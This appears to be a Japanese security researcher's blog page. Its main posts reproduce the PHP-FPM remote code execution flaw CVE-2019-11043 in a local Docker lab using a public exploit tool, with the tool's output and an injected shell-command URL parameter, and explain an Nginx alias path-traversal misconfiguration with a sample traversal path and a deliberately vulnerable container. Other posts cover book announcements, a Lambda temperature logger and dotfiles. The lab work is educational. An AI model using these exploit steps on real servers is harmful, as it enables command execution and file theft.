任意コード実行が可能なPHP-FPMの脆弱性(CVE-2019-11043)を試してみた

少し前に出たCVE-2019-11043という脆弱性を試してみました。すでに日本語解説記事もありますが備忘録ということで。

脆弱性概要

PHPFastCGI 実装のひとつの PHP-FPM(FastCGI Process Manager)に任意コード実行が可能な脆弱性(CVE-2019-11043)が見つかりました。NginxとPHP-FPMで構成された環境において以下のような設定がされている場合に任意コード実行が可能でした。

  • locationディレクティブでリクエストをPHP-FPMに転送するようになっている
  • PATH_INFO変数を割り当てる際にfastcgi_paramディレクティブが使用されている
  • fastcgi_split_path_infoディレクティブが存在し、^ で始まり$で終わる正規表現が用いられている
  • try_files $uri=404 のようなファイルの有無を判断するためのチェックがない

例を挙げるとNginxに以下のようなconfigが設定され、PHP-FPMにリクエストを転送している場合です。

location ~ [^/]\.php(/|$) {
     fastcgi_split_path_info ^(.+?\.php)(/.*)$;
     fastcgi_param PATH_INFO $fastcgi_path_info;
     fastcgi_pass php:9000;
     ...
}

fastcgi_split_path_infoディレクティブに指定されている正規表現が改行コード%0Aを解釈すると、空のPHP_INFOがPHP-FPM サーバーに送られます。 PHP-FPMがPHP_INFO の値を誤って処理することでバッファアンダーフローが発生し、最終的にPHPの実行環境の変数にリモートコード実行可能な設定を上書きすることができます。

詳しくは発見者がZeroNights2019で発表した以下のスライドを見てください。

https://github.com/neex/phuip-fpizdam/blob/master/ZeroNights2019.pdf

また、この脆弱性の修正コミットはこちらです。 github.com

以下のバージョンのPHPがこの脆弱性の影響を受けます。

  • 7.1.x 〜 7.1.32
  • 7.2.x 〜 7.2.23
  • 7.3.x 〜 7.3.11

試してみる

実際に攻撃してみます。

環境

この脆弱性の発見者が作成したphuip-fpizdamというexplotツールと、 vulhubにある検証用のdocker-compose環境を使います。

github.com github.com

この検証用のdocker-compose環境はbindingアドレスが0.0.0.0となっていて、そのまま使うとネットワーク上の他のホストからアクセス可能な検証環境が出来てしまいます。docker-compose.ymlのportsの部分を127.0.0.1を指定するように変更してから、docker-compose up -dを実行すると自ホストのみに閉じた検証環境になります。

services:
 nginx:
   ...
   ports:
    - "127.0.0.1:8080:80" # 変更する行
   ...

また、bindingアドレスが変更できているかどうかは、docker ps -aで確認できます。8080番ポートでNginxサーバーが、9000番ポートでPHPプロセスがそれぞれ待ち受けています。

$ docker ps -a
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS                    PORTS                                          NAMES
e2779ab00718        nginx:1             "nginx -g 'daemon of…"   5 seconds ago       Up 4 seconds              127.0.0.1:8080->80/tcp                         cve-2019-11043_nginx_1
e11c381f541b        php:7.2.10-fpm      "docker-php-entrypoi…"   6 seconds ago       Up 5 seconds              9000/tcp                                       cve-2019-11043_php_1

やる

http://127.0.0.1:8080hello worldと返すだけの単純なPHPCGIスクリプトが動いています。 f:id:TAKEmaru:20191213132603p:plain

こちらに対して、phuip-fpizdamコマンドを実行してみます。

$ phuip-fpizdam http://127.0.0.1:8080/index.php
2019/12/12 23:28:17 Base status code is 200
2019/12/12 23:28:17 Status code 502 for qsl=1800, adding as a candidate
2019/12/12 23:28:18 The target is probably vulnerable. Possible QSLs: [1790 1795 1800]
2019/12/12 23:28:19 Attack params found: --qsl 1795 --pisos 152 --skip-detect
2019/12/12 23:28:19 Trying to set "session.auto_start=0"...
2019/12/12 23:28:19 Detect() returned attack params: --qsl 1795 --pisos 152 --skip-detect <-- REMEMBER THIS
2019/12/12 23:28:19 Performing attack using php.ini settings...
2019/12/12 23:28:19 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/12/12 23:28:19 Trying to cleanup /tmp/a...
2019/12/12 23:28:19 Done!

Success!と出たので攻撃に成功したようです。Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLsとあるので、URLの末尾に?a=コマンドというふうに付けてあげることで任意のコマンドを指定できるようです。

idコマンドを実行してみると以下のようになりました。

f:id:TAKEmaru:20191213133445p:plain

まとめ

簡単に任意のコマンドが実行できてしまう深刻な脆弱性でした。 開発者目線では怖い脆弱性ですが、ペンテスター目線では条件がきびしいものの、カジュアルに攻撃することができて有用な脆弱性だなーと思いました。 OSSに任意コード実行ができる脆弱性を見つけたいものですね。

参考資料

技術書典7で Ghidra Pro Book を頒布します!

技術書典7で Allsafeというサークルから Ghidra Pro Book を頒布します🐲 場所は「お48C」です!

なんと場所は、あのTomoriNaoの横なので2冊いっしょに買えます!!

techbookfest.org

表紙は IDA Pro Book をリスペクトしたものになっています!

f:id:TAKEmaru:20190916221720p:plain:w550 f:id:TAKEmaru:20190916221945p:plain:w550 f:id:TAKEmaru:20190916222001p:plain:w550 f:id:TAKEmaru:20190916222013p:plain:w550

Ghidraの基本的な使い方から、Ghidra Script、Ghidra Extensionの開発方法、実践的なマルウェアの解析方法まで、幅広くカバーしています!

ぼくは、第2章の「Advanced Ghidra Usage」の2割くらいと、第3章の「Extending Ghidra’s Capabilities」の9割くらいを書きました!

有給休暇消化期間を費やして執筆したので、みなさま!ご購入の検討を!!よろしくお願いします!!!

技術書典7で TomoriNao vol.3 を頒布します!!!

前回までのストーリー

tkmr.hatenablog.com

今回

技術書典7で TomoriNao vol.3 を頒布します!!! 場所は「お48C」です!!!

techbookfest.org

f:id:TAKEmaru:20190916212523p:plain:w600

私は、「PHP Object Injection入門」という題で1章書きました。 PHP Object Injectionというのは、シリアライズされたObjectがリクエストのパラメーターにあって攻撃者が細工できる状態だったときに、細工したobjectをWebアプリケーションに渡すことで、任意のPHPコードを実行できるかも!?という攻撃手法です。

みなさま!ご購入の検討を!!よろしくお願いします!!!

ちなみに既刊はKindleで販売しています。

tomorinao.pro

Nature Remo + AWS Lambda + Mackerel で室温を記録してみた

暑くなってきたのでスマートホーム化していきたいなと思い、ひとまずNature RemoのAPIで遊んでみるか〜と、Nature Remo + AWS Lambda + Mackerel で室温を記録していくようにしてみたところ、以下のようなグラフになった。

f:id:TAKEmaru:20190608014237p:plain

冷房をかけたときに温度が下がったところ以外は常時27.4度前後で遷移していて、あまり変化がなくおもしろくはないグラフになったが、日中暑いときも全く室温に影響なくて、「鉄筋コンクリート造はさすがだなー!」と思った。 Nature Remoから室温を取得しMackerelにPOSTする関数を、Lambdaにアップロードし、CloudWatch Eventsをトリガーに10分毎に実行している。

f:id:TAKEmaru:20190608014440p:plain

コードは以下のようになった。Nature RemoとMackerelにはあんまりいいかんじのAPIクライアントがなさそうだったので、requestsライブラリを使ってがんばってAPIを叩いている。APIトークンは環境変数として出してあるので、コードを貼っても安心。

github.com

#!/usr/bin/env python3.7
# coding: UTF-8

import datetime
import json
import os
import requests

def get_room_temperature():
    headers = {
        'accept': 'application/json',
        'Authorization': 'Bearer ' + os.environ['REMOTOKEN'],
    }

    response = requests.get('https://api.nature.global/1/devices', headers=headers)
    json = response.json()
    return json[0]['newest_events']['te']['val']

def post_service_metrics(temperature):
    headers = {
        'accept': 'application/json',
        'Content-Type': 'application/json',
        'X-Api-Key': os.environ['MACKERELKEY'],
    }

    now = datetime.datetime.now()
    metrics = [
        {
            'name': 'Temperature.temperature',
            'time': int(now.timestamp()),
            'value': temperature
        }
    ]

    json.dumps(metrics),
    response = requests.post('https://api.mackerelio.com/api/v0/services/nature-remo/tsdb', json.dumps(metrics), headers=headers)
    print(response.json())
    
def lambda_handler(event, context):
    temperature = get_room_temperature()
    post_service_metrics(temperature)

AWS Lambda上で動かす関数で外部ライブラリを使っていた場合、そのライブラリもzipで固めてアップロードしないといけないので少しめんどう。先人のように、Goでやったほうがシングルバイナリになって、アップロードは楽そう。

$ mkdir packages
$ cd packages/
$ pip install requests -t .
$ zip -r9 ../function.zip .
$ zip -g function.zip lambda_function.py

AWS Lambda触ったことなかったので、いい機会になってよかった。1か月に100万件のリクエストまで無料で、今回みたいな10分に1回リクエストを飛ばすくらいだと無料で使えるので、スマートホーム化していくに当たってバンバン活用していきたい。

globalのgitignoreの設定をdotfilesでやるようにした

新しいPCにglobalのgitignoreを入れ忘れてたからdotfilesの中でやるようにした。

github.com

以下のシェルスクリプトで、github/gitignoreからダウンロードしてきたgitignoreを~/.gitignoreに設置している。

  if [ "$(uname)" = 'Darwin' ]; then
    curl -fL 'https://raw.githubusercontent.com/github/gitignore/master/Global/macOS.gitignore' >> ~/.gitignore 
  else
    curl -fL 'https://raw.githubusercontent.com/github/gitignore/master/Global/Linux.gitignore' >> ~/.gitignore
  fi

  echo '' >> ~/.gitignore
  echo '# VisualStudioCode' >> ~/.gitignore
  curl -fL 'https://raw.githubusercontent.com/github/gitignore/master/Global/VisualStudioCode.gitignore' >> ~/.gitignore
  echo '' >> ~/.gitignore
  echo '# Vim' >> ~/.gitignore
  curl -fL 'https://raw.githubusercontent.com/github/gitignore/master/Global/Vim.gitignore' >> ~/.gitignore

Xcode Command Line ToolsやHomebrewのインストール、Homebrewやcaskで入るツールのインストールもdotfilesの初期設定スクリプトでやるようにしていて、それぞれをセットアップするかどうかを尋ねてくれるようにしている。便利!

$ git clone https://github.com/tkmru/dotfiles.git
$ cd dotfiles
$ ./init.sh 
Do you setup global .gitignore? [y/N]
y
...
Do you setup Xcode Command Line Tools? [y/N]
y
xcode-select: note: install requested for command line developer tools
Do you setup Homebrew? [y/N]
y
Do you setup some tools by Homebrew and Homebrew cask? [y/N]
y
...

dotfilesの配置にはMitamaeを使っている。これはプロビジョニングツールのitamaeのmruby実装で、シングルバイナリで動作するため、rubyの環境を整えることなく使えるところが便利。

tkmr.hatenablog.com

GhidraのScriptまわりについて

はじめに

先日、NSAリバースエンジニアリングツールのGhidraを公開した。 OSSであることや、Hex-rays社が高価で販売しているようなデコンパイラがついていることから注目されている。 SREを「Site Reliability Engineering」ではなく「Software Reverse Engineering」としてSRE frameworkを標榜しているのもかっこいい!!!!!

IDAでいうIDAPythonのように、GhidraでもJavaJythonとしてのPythonで解析に役立つScriptを動かすことができる。 docs/GhidraAPI_javadoc.zipAPIリファレンスがあり、それらのAPIを扱える。 この記事では、そんなGhidraのScriptまわりを見ていこうと思う。

Pythonインタプリタ

CodeBrowserのツールバーのWindow->PythonよりPythonインタプリタを起動できる。 APIの挙動をシュッと確認できて便利。

f:id:TAKEmaru:20190319195839p:plain

上では、currentProgram.getName()でバイナリのファイル名を取得し、 askString()でポップアップを出し、ユーザーからの入力を受け取っている。

Script Manager

Code Browser上の再生ボタンのような▷のボタンを押すとScript Managerが開かれる。

f:id:TAKEmaru:20190318201824p:plain

ダウンロードしてきたScriptを読み込むにはScript Directoriesのボタンを押して、Scriptがあるディレクトリを追加してあげるとよさそう。

f:id:TAKEmaru:20190318204530p:plain

Create New Scriptボタンを選択するとScript Managerの右側に簡易的なエディタが出現する。 Script Manager上でコードを書けるので便利そう。 ここで作成したScriptはデフォルトでは~/ghidra_scriptsに保存される。

f:id:TAKEmaru:20190318204951p:plain

参考になりそうなScript

Ghidra/Features/以下にJavaPythonのScriptがたくさん置かれている。

Script Mangerを開くとExamplesというディレクトリがあり、ここにあるScriptを読んでいくとチュートリアル代わりになりそう。

f:id:TAKEmaru:20190319194623p:plain

ExamplesというディレクトリがあるかのようにUI上では表示されるが、これはカテゴリのようなもののようで、実際には全然違うディレクトリにあるので注意。

$ find . -name ghidra_basics.py
./Ghidra/Features/Python/ghidra_scripts/ghidra_basics.py

便利そうなScript

ghidraninja/ghidra_scriptsというghidraのscriptがいくつか置かれたリポジトリがある。早い。

github.com

binwalkを走らせて見つけたアドレスをBookmarkに登録するbinwalk.pyや、暗号に使われる定数を見つけるyara.py、 swiftの関数名をdemangleしてくれるswift_demangler.py、stripped Go binaryにシンボルをつけ直すgolang_renamer.pyがあり便利そう。

Nginxのalias traversalについて

Nginxのalias traversalとは

Nginxではaliasディレクティブを使って locationディレクティブで指定したURIのパスをファイルシステム上のパスに対応させることができます。 以下の例のようにconfigを書くと、/var/www/app/static/以下にあるファイルに/static/ファイル名のようなパスでアクセスできます。

location /static {
    alias /var/www/app/static/;
}

しかし、このようにlocationのパスの末尾が/で終わっていない場合、..を使うことで、開発者が意図していない上位のディレクトリへのアクセスが可能になってしまいます。 このケースだと、/static../setting.pyのようにパスを指定することで、aliasで指定したディレクトリより上位のディレクトリである/var/www/app以下のsetting.pyにアクセスすることができます。これがNginxのalias traversalです。

以下のようにlocationで指定するパスの末尾に/を書いておくことで防ぐことができます。

location /static/ {
    alias /var/www/app/static/;
}

Nginxは、alias traversalを脆弱性として扱っておらず、Nginx側で修正されることはありません。

初出は2016年のHCTFの問題のようです。 HCTF2016 Web WP - 小西的博客 | Xiaoxi's Blog

ぼくはCODEBLUE 2018でorangeさんのBreaking Parser Logic - Take Your Path Normalization Off and Pop 0days Outを聞いて知りました。 ちなみに、この発表はDEFCON26やBlack Hat 2018やHack.lu 2018でも行われています。ぼくもつよいexploit手法を見つけたら海外カンファレンス巡業したい。

実例

hackeroneでは以下のようなものが見つかっていました。

やってみる

alias traversalの問題があるNginxサーバーを立てることができるDockerfileを書きました。

github.com

このリポジトリは以下のファイルから構成されています。

nginx-alias-traversal-sample$ tree .
.
├── Dockerfile
├── LICENSE.md
├── README.md
├── index.html
├── screenshots
│   ├── flag.png
│   └── top.png
└── vulnerable.conf

1 directory, 7 files
$ docker build -t nginx-traversal .
$ docker run -d -p 3000:80 nginx-traversal:latest

上のコマンドでdocker runすると、http://localhost:3000でNginxサーバーが動きます。

f:id:TAKEmaru:20190306124807p:plain

http://localhost:3000/static/がalias traversal可能なパスになっています。

f:id:TAKEmaru:20190306124826p:plain

alias traversalを利用して、aliasで指定されたディレクトリの一つ上の階層にあるflagを読み出すことができました。

f:id:TAKEmaru:20190306124902p:plain

発見するのに使えるツール

Nginxのconfigにアクセスすることができる開発者側であれば、 gixyというNginxのconfigの静的解析ツールを使って、alias traversalを検出することができます。

github.com

$ gixy vulnerable.conf 

==================== Results ===================

>> Problem: [alias_traversal] Path traversal via misconfigured alias.
Description: Using alias in a prefixed location that doesn't ends with directory separator could lead to path traversal vulnerability. 
Additional info: https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md
Pseudo config:

server {
    server_name localhost;

    location /static {
        alias /var/www/app/static/;
    }
}

==================== Summary ===================
Total issues:
    Unspecified: 0
    Low: 0
    Medium: 0
    High: 1

また、脆弱性を発見するペンテスターはBurpの拡張を使って検出することができます。

github.com